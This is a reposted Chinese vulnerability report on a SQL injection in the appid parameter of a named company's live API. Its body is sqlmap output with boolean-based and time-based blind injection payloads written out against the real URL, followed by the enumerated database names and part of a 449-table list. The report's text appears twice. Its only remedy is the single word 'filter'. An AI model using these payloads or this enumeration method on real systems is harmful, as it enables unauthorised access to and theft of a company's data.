北京亿玛p2p业务某api接口sql
漏洞地址:https://api.yijifen.com/EScore_API/common/comfirmActivateCheckGet.do?appid=1056497222&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
appid参数存在注入
400多个表只列举一部分，跑完太慢了
sqlmap identified the following injection point(s) with a total of 225 HTTP(s) requests:
—
Parameter: appid (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: appid=1056497222' AND 1141=1141 AND 'nBXf'='nBXf&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: appid=1056497222' AND (SELECT * FROM (SELECT(SLEEP(5)))VIcY) AND 'JzMV'='JzMV&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
—
back-end DBMS: MySQL 5.0.12
available databases [8]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] test
back-end DBMS: MySQL 5.0.12
Database: escore
[449 tables]
+——————————————–+
| activemq_acks |
| activemq_lock |
| activemq_msgs |
| app_during_limit_config |
| app_ip_limit_black_list |
| app_ip_limit_config |
| app_ip_limit_white_list |
| app_ip_period_limit_black_list |
| app_ip_period_limit_config |
| app_zanting_20151117 |
| b0420_t_campaign_confirm |
| b0420_t_finance_balance_campain |
| b0420_t_finance_balance_income_rel |
| b331_application_black |
| b_ad_dsp_custom_confirm0605 |
| b_static_user_adtype_byday08 |
| b_user4 |
| b_user5 |
| b_user6 |
| b_user7 |
| bb_black |
| d_area |
| d_haha |
| ios_action_log2014 |
| rroc_errorlog |
| scn_log |
| sheet1 |
| t_activate_signnum |
| t_ad |
| t_ad_actual_day |
| t_ad_audit_log |
| t_ad_backup_20150814 |
| t_ad_backup_20151127 |
| t_ad_category_rel |
漏洞地址:https://api.yijifen.com/EScore_API/common/comfirmActivateCheckGet.do?appid=1056497222&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
appid参数存在注入
400多个表只列举一部分，跑完太慢了
sqlmap identified the following injection point(s) with a total of 225 HTTP(s) requests:
—
Parameter: appid (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: appid=1056497222' AND 1141=1141 AND 'nBXf'='nBXf&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: appid=1056497222' AND (SELECT * FROM (SELECT(SLEEP(5)))VIcY) AND 'JzMV'='JzMV&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
—
back-end DBMS: MySQL 5.0.12
available databases [8]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] test
back-end DBMS: MySQL 5.0.12
Database: escore
[449 tables]
+——————————————–+
| activemq_acks |
| activemq_lock |
| activemq_msgs |
| app_during_limit_config |
| app_ip_limit_black_list |
| app_ip_limit_config |
| app_ip_limit_white_list |
| app_ip_period_limit_black_list |
| app_ip_period_limit_config |
| app_zanting_20151117 |
| b0420_t_campaign_confirm |
| b0420_t_finance_balance_campain |
| b0420_t_finance_balance_income_rel |
| b331_application_black |
| b_ad_dsp_custom_confirm0605 |
| b_static_user_adtype_byday08 |
| b_user4 |
| b_user5 |
| b_user6 |
| b_user7 |
| bb_black |
| d_area |
| d_haha |
| ios_action_log2014 |
| rroc_errorlog |
| scn_log |
| sheet1 |
| t_activate_signnum |
| t_ad |
| t_ad_actual_day |
| t_ad_audit_log |
| t_ad_backup_20150814 |
| t_ad_backup_20151127 |
| t_ad_category_rel |
解决方法：
过滤
—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>
本文来自网络收集，不代表计算机技术网立场，如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址：https://www.ctvol.com/webstt/esecurity/100419.html